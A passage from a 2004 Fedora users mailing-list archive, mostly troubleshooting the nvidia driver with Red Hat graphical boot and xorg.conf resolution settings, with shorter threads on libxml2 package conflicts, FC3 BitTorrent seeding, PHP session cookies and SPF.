<20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> Message-ID: <1099803865.5877.6.camel@ricardo.veguilla.net> On Sat, 2004-11-06 at 23:50 -0500, Jim Martin wrote: > W. Guy Thomas wrote: > > >On Sat, 2004-11-06 at 23:30 -0500, Jim Martin wrote: > > > > > > > > > >>>>just a thought, but did you take rhgb off your grub menu? I did that, > >>>>and I can use my gdm with no problem. > >>>> > >>>>Jim > >>>> > >>>> > >>>> > >>>> > >>>> > >>> > >>> > >>> > >>> > >>I took just the rhgb off, , I still have quiet and everything else > >>there. boots in run level 5, no problem. > >> > >> > >> > > > >you da man, thanks. > >interesting though, that I get my gdm back, but the fedora graphics > >never came back after loading nvidia's real drivers. > > > >thanks my friend, though, I'm good with this. > > > > > > > You are welcome, and the Fedora graphics is what you just took off ( > rhgb=Red hat graphical Boot) for some reasons does not like the nvidia > driver. go figure :-) > If you still want rhgb, you can tell rhgb to use the xorg driver. Just create an alternate xorg.conf (with the driver set to "nv") and copied to /etc/rhgb/xorg.conf. This way, rhgb will always work (assuming the xorg drivers works ) and you can use the nvidia driver for the standard gdm/X session. Regards, -- Ricardo Veguilla From bavinic at comcast.net Sun Nov 7 05:07:00 2004 From: bavinic at comcast.net (Jim Martin) Date: Sun, 07 Nov 2004 00:07:00 -0500 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099803671.3715.7.camel@guyleidadell> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803429.3715.3.camel@guyleidadell> <1099803671.3715.7.camel@guyleidadell> Message-ID: <418DAD74.1090908@comcast.net> W. Guy Thomas wrote: >now if I could only get to 1600x1200! > >xorg.conf follows: > ># Xorg configuration created by system-config-display > >Section "ServerLayout" > Identifier "single head configuration" > Screen 0 "Screen0" 0 0 > InputDevice "Mouse0" "CorePointer" > InputDevice "Keyboard0" "CoreKeyboard" >EndSection > >Section "Files" > ># RgbPath is the location of the RGB database. Note, this is the name >of the ># file minus the extension (like ".txt" or ".db"). There is normally ># no need to change the default. ># Multiple FontPath entries are allowed (they are concatenated together) ># By default, Red Hat 6.0 and later now use a font server independent of ># the X server to render fonts. > RgbPath "/usr/X11R6/lib/X11/rgb" > FontPath "unix/:7100" >EndSection > >Section "Module" > Load "dbe" > Load "extmod" ># Load "fbdevhw" > Load "glx" > Load "record" > Load "freetype" > Load "type1" > Load "dri" >EndSection > >Section "InputDevice" > ># Specify which keyboard LEDs can be user-controlled (eg, with xset(1)) ># Option "Xleds" "1 2 3" ># To disable the XKEYBOARD extension, uncomment XkbDisable. ># Option "XkbDisable" ># To customise the XKB settings to suit your keyboard, modify the ># lines below (which are the defaults). For example, for a non-U.S. ># keyboard, you will probably want to use: ># Option "XkbModel" "pc102" ># If you have a US Microsoft Natural keyboard, you can use: ># Option "XkbModel" "microsoft" ># ># Then to change the language, change the Layout setting. ># For example, a german layout can be obtained with: ># Option "XkbLayout" "de" ># or: ># Option "XkbLayout" "de" ># Option "XkbVariant" "nodeadkeys" ># ># If you'd like to switch the positions of your capslock and ># control keys, use: ># Option "XkbOptions" "ctrl:swapcaps" ># Or if you just want both to be control, use: ># Option "XkbOptions" "ctrl:nocaps" ># > Identifier "Keyboard0" > Driver "kbd" > Option "XkbModel" "pc105" > Option "XkbLayout" "us" >EndSection > >Section "InputDevice" > Identifier "Mouse0" > Driver "mouse" > Option "Protocol" "IMPS/2" > Option "Device" "/dev/input/mice" > Option "ZAxisMapping" "4 5" > Option "Emulate3Buttons" "yes" >EndSection > >Section "Monitor" > Identifier "Monitor0" > VendorName "Monitor Vendor" > ModelName "LCD Panel 1600x1200" > HorizSync 31.5 - 90.0 > VertRefresh 60.0 - 60.0 > Option "dpms" >EndSection > >Section "Device" > Identifier "Videocard0" > Driver "nvidia" > VendorName "Videocard vendor" > BoardName "NVIDIA GeForce 4 (generic)" >EndSection > >Section "Screen" > Identifier "Screen0" > Device "Videocard0" > Monitor "Monitor0" > DefaultDepth 24 > SubSection "Display" > Viewport 0 0 > Depth 16 > Modes "800x600" "640x480" > EndSubSection > SubSection "Display" > Viewport 0 0 > Depth 24 > Modes "1600x1200" "1400x1050" "1280x1024" "1280x960" "1024x768" >"800x600" "640x480" > EndSubSection >EndSection > >Section "DRI" > Group 0 > Mode 0666 >EndSection > > > >On Sat, 2004-11-06 at 22:57 -0600, W. Guy Thomas wrote: > > >>On Sat, 2004-11-06 at 23:50 -0500, Jim Martin wrote: >> >> >>>W. Guy Thomas wrote: >>> >>> >>> >>>>On Sat, 2004-11-06 at 23:30 -0500, Jim Martin wrote: >>>> >>>> >>>> >>>> >>>> >>>> >>>>>>>just a thought, but did you take rhgb off your grub menu? I did that, >>>>>>>and I can use my gdm with no problem. >>>>>>> >>>>>>>Jim >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>I took just the rhgb off, , I still have quiet and everything else >>>>>there. boots in run level 5, no problem. >>>>> >>>>> >>>>> >>>>> >>>>> >>>>you da man, thanks. >>>>interesting though, that I get my gdm back, but the fedora graphics >>>>never came back after loading nvidia's real drivers. >>>> >>>>thanks my friend, though, I'm good with this. >>>> >>>> >>>> >>>> >>>> >>>You are welcome, and the Fedora graphics is what you just took off ( >>>rhgb=Red hat graphical Boot) for some reasons does not like the nvidia >>>driver. go figure :-) >>> >>>Glad to help. >>> >>>BaVinic >>> >>> >>> >>isn't that just strange? oh well, I'm happy. >>I've been fearing loading the nvidia drivers but I'm glad I did. >>the GL stuff is awesome now, even on this "older" dell c840. >> >>thanks again! >> >> >> > > > Based on your xorg.conf you should be able to, provided of course that your monitor will support it, mine only goes as high as 1280X1024 so I am unable to test it here :) BaVinic From mrguytx at austin.rr.com Sun Nov 7 05:07:40 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 23:07:40 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099803865.5877.6.camel@ricardo.veguilla.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803865.5877.6.camel@ricardo.veguilla.net> Message-ID: <1099804060.3715.11.camel@guyleidadell> On Sun, 2004-11-07 at 01:04 -0400, Ricardo Veguilla wrote: > On Sat, 2004-11-06 at 23:50 -0500, Jim Martin wrote: > > W. Guy Thomas wrote: > > > > >On Sat, 2004-11-06 at 23:30 -0500, Jim Martin wrote: > > > > > > > > > > > > > > >>>>just a thought, but did you take rhgb off your grub menu? I did that, > > >>>>and I can use my gdm with no problem. > > >>>> > > >>>>Jim > > >>>> > > >>>> > > >>>> > > >>>> > > >>>> > > >>> > > >>> > > >>> > > >>> > > >>I took just the rhgb off, , I still have quiet and everything else > > >>there. boots in run level 5, no problem. > > >> > > >> > > >> > > > > > >you da man, thanks. > > >interesting though, that I get my gdm back, but the fedora graphics > > >never came back after loading nvidia's real drivers. > > > > > >thanks my friend, though, I'm good with this. > > > > > > > > > > > You are welcome, and the Fedora graphics is what you just took off ( > > rhgb=Red hat graphical Boot) for some reasons does not like the nvidia > > driver. go figure :-) > > > > If you still want rhgb, you can tell rhgb to use the xorg driver. Just > create an alternate xorg.conf (with the driver set to "nv") and copied > to /etc/rhgb/xorg.conf. This way, rhgb will always work (assuming the > xorg drivers works ) and you can use the nvidia driver for the standard > gdm/X session. > > Regards, > -- > Ricardo Veguilla > see? now I *have* to try this... thanks, will let you know! :) -- =Guy 23:07:19 up 31 min, 2 users, load average: 0.39, 0.63, 0.67 From mrguytx at austin.rr.com Sun Nov 7 05:10:55 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 23:10:55 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <418DAD74.1090908@comcast.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803429.3715.3.camel@guyleidadell> <1099803671.3715.7.camel@guyleidadell> <418DAD74.1090908@comcast.net> Message-ID: <1099804255.3715.14.camel@guyleidadell> On Sun, 2004-11-07 at 00:07 -0500, Jim Martin wrote: > W. Guy Thomas wrote: > > >now if I could only get to 1600x1200! > > > >xorg.conf follows: > >> > >> > > > > > > > Based on your xorg.conf you should be able to, provided of course that > your monitor will support it, mine only goes as high as 1280X1024 so I > am unable to test it here :) > > BaVinic > that's what I thought too, but I can only "see" 1450 as an option. I know my laptop screen supports 1600... hmmm. -- =Guy 23:09:55 up 33 min, 2 users, load average: 1.37, 0.77, 0.70 From veguilla at hpcf.upr.edu Sun Nov 7 05:13:43 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sun, 07 Nov 2004 01:13:43 -0400 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099803671.3715.7.camel@guyleidadell> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803429.3715.3.camel@guyleidadell> <1099803671.3715.7.camel@guyleidadell> Message-ID: <1099804424.5877.14.camel@ricardo.veguilla.net> On Sat, 2004-11-06 at 23:01 -0600, W. Guy Thomas wrote: > now if I could only get to 1600x1200! > > xorg.conf follows: > > > Section "Monitor" > Identifier "Monitor0" > VendorName "Monitor Vendor" > ModelName "LCD Panel 1600x1200" > HorizSync 31.5 - 90.0 > VertRefresh 60.0 - 60.0 > Option "dpms" > EndSection > If you know your monitors supports that resolution, add Option "IgnoreEDID" "true" to the "Device" section, and it should work. Regards, -- Ricardo Veguilla From bavinic at comcast.net Sun Nov 7 05:12:51 2004 From: bavinic at comcast.net (Jim Martin) Date: Sun, 07 Nov 2004 00:12:51 -0500 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099804060.3715.11.camel@guyleidadell> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803865.5877.6.camel@ricardo.veguilla.net> <1099804060.3715.11.camel@guyleidadell> Message-ID: <418DAED3.1080603@comcast.net> W. Guy Thomas wrote: >On Sun, 2004-11-07 at 01:04 -0400, Ricardo Veguilla wrote: > > >>On Sat, 2004-11-06 at 23:50 -0500, Jim Martin wrote: >> >> >>>W. Guy Thomas wrote: >>> >>> >>> >>>>On Sat, 2004-11-06 at 23:30 -0500, Jim Martin wrote: >>>> >>>> >>>> >>>> >>>> >>>> >>>>>>>just a thought, but did you take rhgb off your grub menu? I did that, >>>>>>>and I can use my gdm with no problem. >>>>>>> >>>>>>>Jim >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>I took just the rhgb off, , I still have quiet and everything else >>>>>there. boots in run level 5, no problem. >>>>> >>>>> >>>>> >>>>> >>>>> >>>>you da man, thanks. >>>>interesting though, that I get my gdm back, but the fedora graphics >>>>never came back after loading nvidia's real drivers. >>>> >>>>thanks my friend, though, I'm good with this. >>>> >>>> >>>> >>>> >>>> >>>You are welcome, and the Fedora graphics is what you just took off ( >>>rhgb=Red hat graphical Boot) for some reasons does not like the nvidia >>>driver. go figure :-) >>> >>> >>> >>If you still want rhgb, you can tell rhgb to use the xorg driver. Just >>create an alternate xorg.conf (with the driver set to "nv") and copied >>to /etc/rhgb/xorg.conf. This way, rhgb will always work (assuming the >>xorg drivers works ) and you can use the nvidia driver for the standard >>gdm/X session. >> >>Regards, >>-- >>Ricardo Veguilla >> >> >> > >see? now I *have* to try this... >thanks, will let you know! :) > > > Works! I love it when even I learn something new!! Thank you! BaVinic From mrguytx at austin.rr.com Sun Nov 7 05:17:13 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 23:17:13 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <418DAED3.1080603@comcast.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803865.5877.6.camel@ricardo.veguilla.net> <1099804060.3715.11.camel@guyleidadell> <418DAED3.1080603@comcast.net> Message-ID: <1099804634.3715.15.camel@guyleidadell> On Sun, 2004-11-07 at 00:12 -0500, Jim Martin wrote: > W. Guy Thomas wrote: > > >On Sun, 2004-11-07 at 01:04 -0400, Ricardo Veguilla wrote: > > > > > >>On Sat, 2004-11-06 at 23:50 -0500, Jim Martin wrote: > >> > >> > >>>W. Guy Thomas wrote: > >>> > >>> > >>> > >>>>On Sat, 2004-11-06 at 23:30 -0500, Jim Martin wrote: > >>>> > >>>> > >>>> > >>>> > >>>> > >>>> > >>>>>>>just a thought, but did you take rhgb off your grub menu? I did that, > >>>>>>>and I can use my gdm with no problem. > >>>>>>> > >>>>>>>Jim > >>>>>>> > >>>>>>> > >>>>>>> > >>>>>>> > >>>>>>> > >>>>>>> > >>>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>I took just the rhgb off, , I still have quiet and everything else > >>>>>there. boots in run level 5, no problem. > >>>>> > >>>>> > >>>>> > >>>>> > >>>>> > >>>>you da man, thanks. > >>>>interesting though, that I get my gdm back, but the fedora graphics > >>>>never came back after loading nvidia's real drivers. > >>>> > >>>>thanks my friend, though, I'm good with this. > >>>> > >>>> > >>>> > >>>> > >>>> > >>>You are welcome, and the Fedora graphics is what you just took off ( > >>>rhgb=Red hat graphical Boot) for some reasons does not like the nvidia > >>>driver. go figure :-) > >>> > >>> > >>> > >>If you still want rhgb, you can tell rhgb to use the xorg driver. Just > >>create an alternate xorg.conf (with the driver set to "nv") and copied > >>to /etc/rhgb/xorg.conf. This way, rhgb will always work (assuming the > >>xorg drivers works ) and you can use the nvidia driver for the standard > >>gdm/X session. > >> > >>Regards, > >>-- > >>Ricardo Veguilla > >> > >> > >> > > > >see? now I *have* to try this... > >thanks, will let you know! :) > > > > > > > Works! I love it when even I learn something new!! Thank you! > > BaVinic > so you copied an "older" xorg.conf to /etc/rhbg/xorg.conf right? then added rhgb back to grub? -- =Guy 23:16:30 up 40 min, 2 users, load average: 0.25, 0.39, 0.53 From veguilla at hpcf.upr.edu Sun Nov 7 05:17:47 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sun, 07 Nov 2004 01:17:47 -0400 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099804424.5877.14.camel@ricardo.veguilla.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803429.3715.3.camel@guyleidadell> <1099803671.3715.7.camel@guyleidadell> <1099804424.5877.14.camel@ricardo.veguilla.net> Message-ID: <1099804667.5877.19.camel@ricardo.veguilla.net> On Sun, 2004-11-07 at 01:13 -0400, Ricardo Veguilla wrote: > On Sat, 2004-11-06 at 23:01 -0600, W. Guy Thomas wrote: > > now if I could only get to 1600x1200! > > > > xorg.conf follows: > > > > > > > Section "Monitor" > > Identifier "Monitor0" > > VendorName "Monitor Vendor" > > ModelName "LCD Panel 1600x1200" > > HorizSync 31.5 - 90.0 > > VertRefresh 60.0 - 60.0 > > Option "dpms" > > EndSection > > > > > If you know your monitors supports that resolution, add > > Option "IgnoreEDID" "true" > > to the "Device" section, and it should work. > Ok... I don't know why I quoted the "Monitor" section instead of the "Device" section. Anyway, the instructions are correct, assuming a) the monitors supports the resolution, b) your are using the nvidia driver, c) the "Display" section is set up correctly. Regards, -- Ricardo Veguilla From davidjs at netspace.net.au Sun Nov 7 05:20:43 2004 From: davidjs at netspace.net.au (david) Date: Sun, 07 Nov 2004 16:20:43 +1100 Subject: libxml erros from last update Message-ID: <1099804843.2892.5.camel@localhost.localdomain> hi all on doing the last load of updates this error occurred: Running test transaction: Errors reported doing trial run file /usr/lib64/libxml2.so.2 from install of libxml2-2.6.15-2 conflicts with file from package libxml2_2-2.6.10-2_11.rhfc2.at file /usr/lib64/libexslt.so.0 from install of libxslt-1.1.12-2 conflicts with file from package libxslt1-1.1.7-2_5.rhfc2.at file /usr/lib64/libxslt.so.1 from install of libxslt-1.1.12-2 conflicts with file from package libxslt1-1.1.7-2_5.rhfc2.at [root at localhost root]# is there a work around for this? i am running x86_64 fc2 which is up to date except above thanks david From mrguytx at austin.rr.com Sun Nov 7 05:27:05 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 23:27:05 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099803865.5877.6.camel@ricardo.veguilla.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803865.5877.6.camel@ricardo.veguilla.net> Message-ID: <1099805225.3599.0.camel@guyleidadell> On Sun, 2004-11-07 at 01:04 -0400, Ricardo Veguilla wrote: > On Sat, 2004-11-06 at 23:50 -0500, Jim Martin wrote: > > W. Guy Thomas wrote: > > > > >On Sat, 2004-11-06 at 23:30 -0500, Jim Martin wrote: > > > > > > > > > > > > > > >>>>just a thought, but did you take rhgb off your grub menu? I did that, > > >>>>and I can use my gdm with no problem. > > >>>> > > >>>>Jim > > >>>> > > >>>> > > >>>> > > >>>> > > >>>> > > >>> > > >>> > > >>> > > >>> > > >>I took just the rhgb off, , I still have quiet and everything else > > >>there. boots in run level 5, no problem. > > >> > > >> > > >> > > > > > >you da man, thanks. > > >interesting though, that I get my gdm back, but the fedora graphics > > >never came back after loading nvidia's real drivers. > > > > > >thanks my friend, though, I'm good with this. > > > > > > > > > > > You are welcome, and the Fedora graphics is what you just took off ( > > rhgb=Red hat graphical Boot) for some reasons does not like the nvidia > > driver. go figure :-) > > > > If you still want rhgb, you can tell rhgb to use the xorg driver. Just > create an alternate xorg.conf (with the driver set to "nv") and copied > to /etc/rhgb/xorg.conf. This way, rhgb will always work (assuming the > xorg drivers works ) and you can use the nvidia driver for the standard > gdm/X session. > > Regards, > -- > Ricardo Veguilla > damned if that didn't work, this is great, thanks so much! -- =Guy 23:26:45 up 3 min, 1 user, load average: 0.95, 0.60, 0.24 From sean.bruno at dsl-only.net Sun Nov 7 05:29:51 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Sat, 06 Nov 2004 21:29:51 -0800 Subject: BitTorrent for FC3 Release Message-ID: <1099805391.27439.10.camel@oscar.metro1.com> I am going to be flying out of town when FC3 is released on Monday AM. If I get up early enough(4:00AM PST), will I be able to start up a BitTorrent Download/Share? I wanted to leave my box up on the Torrent for the first few weeks to help out, but I won't be able to get to my machine for the next week or so... No big deal if its not, just curious if I should set my alarm an hour or two early in order to start up my Torrent Client. It seems that it about the only thing I can get do for the Linux community lately, i.e. leave my machine up on various BitTorrents... -- From mrguytx at austin.rr.com Sun Nov 7 05:38:33 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 23:38:33 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099804667.5877.19.camel@ricardo.veguilla.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803429.3715.3.camel@guyleidadell> <1099803671.3715.7.camel@guyleidadell> <1099804424.5877.14.camel@ricardo.veguilla.net> <1099804667.5877.19.camel@ricardo.veguilla.net> Message-ID: <1099805913.3599.2.camel@guyleidadell> On Sun, 2004-11-07 at 01:17 -0400, Ricardo Veguilla wrote: > On Sun, 2004-11-07 at 01:13 -0400, Ricardo Veguilla wrote: > > On Sat, 2004-11-06 at 23:01 -0600, W. Guy Thomas wrote: > > > now if I could only get to 1600x1200! > > > > > > xorg.conf follows: > > > > > > > > > > > Section "Monitor" > > > Identifier "Monitor0" > > > VendorName "Monitor Vendor" > > > ModelName "LCD Panel 1600x1200" > > > HorizSync 31.5 - 90.0 > > > VertRefresh 60.0 - 60.0 > > > Option "dpms" > > > EndSection > > > > > > > > > If you know your monitors supports that resolution, add > > > > Option "IgnoreEDID" "true" > > > > to the "Device" section, and it should work. > > > > Ok... I don't know why I quoted the "Monitor" section instead of the > "Device" section. > > Anyway, the instructions are correct, assuming a) the monitors supports > the resolution, b) your are using the nvidia driver, c) the "Display" > section is set up correctly. > > > Regards, > -- > Ricardo Veguilla last question, I *know* this box is supposed to do that 1600 res, but I have never seen it...if I add this line am I liable to do any damage? thanks for the tips, what learning evening! -- =Guy 23:37:41 up 14 min, 1 user, load average: 0.60, 0.35, 0.23 From rpaiz at simpaticus.com Sun Nov 7 05:56:50 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Sat, 06 Nov 2004 23:56:50 -0600 Subject: What I hope is not in FC3 In-Reply-To: <604aa7910411061942602dc0e9@mail.gmail.com> References: <418D9766.1030204@insight.rr.com> <604aa7910411061942602dc0e9@mail.gmail.com> Message-ID: <1099807010.3384.64.camel@localhost.localdomain> On Sat, 2004-11-06 at 22:42 -0500, Jeff Spaleta wrote: > On Sat, 06 Nov 2004 22:32:54 -0500, Jim Cornette > wrote: > > 5) not being able to do a normal graphical installation, without special > > parameters issued before the install. > > "normal" ? I think your definition of "normal" has to be different than mine. > Because i can certaintly do a "normal" graphical installation with no > extra parameters on my "normal" hardware [...] As can I. I've done graphical installs even on a Pentium Pro (200MHz) with 64MB of RAM and a 1GB hard drive (just last week), and have done them flawlessly on dozens if not hundreds of other (usually faster) computers before. Been doing them since at least RHL-9, too. What your problem is, I have no idea... but I can assure you that I and many, many, *many* computers do not share it. Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rpaiz at simpaticus.com Sun Nov 7 05:59:37 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Sat, 06 Nov 2004 23:59:37 -0600 Subject: Cash reward for a secure PHP page! In-Reply-To: <20041107023826.GA12856@devserv.devel.redhat.com> References: <1099785760.3384.50.camel@localhost.localdomain> <20041107023826.GA12856@devserv.devel.redhat.com> Message-ID: <1099807177.3384.68.camel@localhost.localdomain> On Sat, 2004-11-06 at 21:38 -0500, Alan Cox wrote: > There are a whole pile of session manager libraries for PHP floating around > and some of them don't suck 8) > Just not acquainted with them, and my m?tier is servers and networks (i.e. infrastructure) not content so my learning is going slowly. > The linux.org.uk portaloo does the following > > state = [array of things we need to remember] + timestamp > md5sum (state, secret) > cookie = md5result + state > > that gives you rather hard to fake browser kept state very easily > Alan, thanks for the feedback and the comments. Would you mind going into a little more 1-2-3 detail here? I can understand the *concept* of what you are saying, but am utterly helpless to move forward with it given my current level of knowledge. I've been wanting to do this for *months* and simply don't have anywhere near the skillset required, which is why I decided to outsource it or get help with it. Any comments welcome... but please, do take into account that as far as PHP and friends go I am still at Level 1. Thanks! -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rpaiz at simpaticus.com Sun Nov 7 06:02:11 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Sun, 07 Nov 2004 00:02:11 -0600 Subject: warning to list In-Reply-To: <1099799590.7256.11.camel@hostmaster.org> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <200410242252.52378.lsomike@futzin.com> <1098676607.21605.65.camel@va.local.linuxlobbyist.org> <1098677531.21605.70.camel@va.local.linuxlobbyist.org> <1098745593.3872.176.camel@baythorne.infradead.org> <1099799590.7256.11.camel@hostmaster.org> Message-ID: <1099807331.3384.72.camel@localhost.localdomain> On Sun, 2004-11-07 at 04:53 +0100, Thomas Zehetbauer wrote: > On Die, 2004-10-26 at 00:06 +0100, David Woodhouse wrote: > > That is an unfortunate error of judgement on their part. Let's not > > compound it by advocating the fundamentally flawed snake oil which is > > SPF in an inappropriate forum. > > Since you unfortunately decided to prolong the discussion about this > subject, what is your problem with SPF? > I agree with Thomas here. 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Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From veguilla at hpcf.upr.edu Sun Nov 7 06:04:21 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sun, 07 Nov 2004 02:04:21 -0400 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099805913.3599.2.camel@guyleidadell> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803429.3715.3.camel@guyleidadell> <1099803671.3715.7.camel@guyleidadell> <1099804424.5877.14.camel@ricardo.veguilla.net> <1099804667.5877.19.camel@ricardo.veguilla.net> <1099805913.3599.2.camel@guyleidadell> Message-ID: <1099807461.5877.27.camel@ricardo.veguilla.net> On Sat, 2004-11-06 at 23:38 -0600, W. Guy Thomas wrote: > On Sun, 2004-11-07 at 01:17 -0400, Ricardo Veguilla wrote: > > On Sun, 2004-11-07 at 01:13 -0400, Ricardo Veguilla wrote: > > > On Sat, 2004-11-06 at 23:01 -0600, W. Guy Thomas wrote: > > > > now if I could only get to 1600x1200! > > > > > > > > xorg.conf follows: > > > > > > > > > > > > > > > Section "Monitor" > > > > Identifier "Monitor0" > > > > VendorName "Monitor Vendor" > > > > ModelName "LCD Panel 1600x1200" > > > > HorizSync 31.5 - 90.0 > > > > VertRefresh 60.0 - 60.0 > > > > Option "dpms" > > > > EndSection > > > > > > > > > > > > > If you know your monitors supports that resolution, add > > > > > > Option "IgnoreEDID" "true" > > > > > > to the "Device" section, and it should work. > > > > > > > Ok... I don't know why I quoted the "Monitor" section instead of the > > "Device" section. > > > > Anyway, the instructions are correct, assuming a) the monitors supports > > the resolution, b) your are using the nvidia driver, c) the "Display" > > section is set up correctly. > > > > > > Regards, > > -- > > Ricardo Veguilla > > last question, I *know* this box is supposed to do that 1600 res, but I > have never seen it...if I add this line am I liable to do any damage? > I guess it could damage your monitor/display (assuming it doesn't really support that resolution) but, I really don't know. In my case, I know my monitor accepts that resolution because a) it works with the xorg drivers, b) it works in Windows with the Nvidia drivers. Regards, -- Ricardo Veguilla From mrguytx at austin.rr.com Sun Nov 7 06:40:44 2004 From: mrguytx 